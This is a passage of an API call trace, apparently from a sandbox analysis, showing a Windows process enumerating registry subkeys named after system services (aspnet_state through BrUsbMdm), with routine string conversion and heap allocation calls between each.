returned 0x21f1a90 [0176.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.060] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0176.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a90, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0176.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.062] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0176.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0176.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.062] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0176.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0176.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0176.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.063] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0176.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0176.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1a00, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0176.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.063] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0176.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0176.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.063] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0176.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0176.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.063] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0176.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0176.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.064] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0176.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0176.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.064] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0176.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0176.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0176.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.064] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0176.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0176.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.064] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0176.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0176.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0176.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.065] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0176.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0176.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0176.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.065] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0176.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0176.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0176.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.065] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0176.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0176.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.066] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0176.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0176.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.066] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0176.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0176.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.066] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0176.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0176.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.066] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0176.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0176.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.067] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0176.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0176.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.067] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0176.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0176.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.067] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0176.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.067] RtlAllocateHeap (HeapHandle=0x2520000, 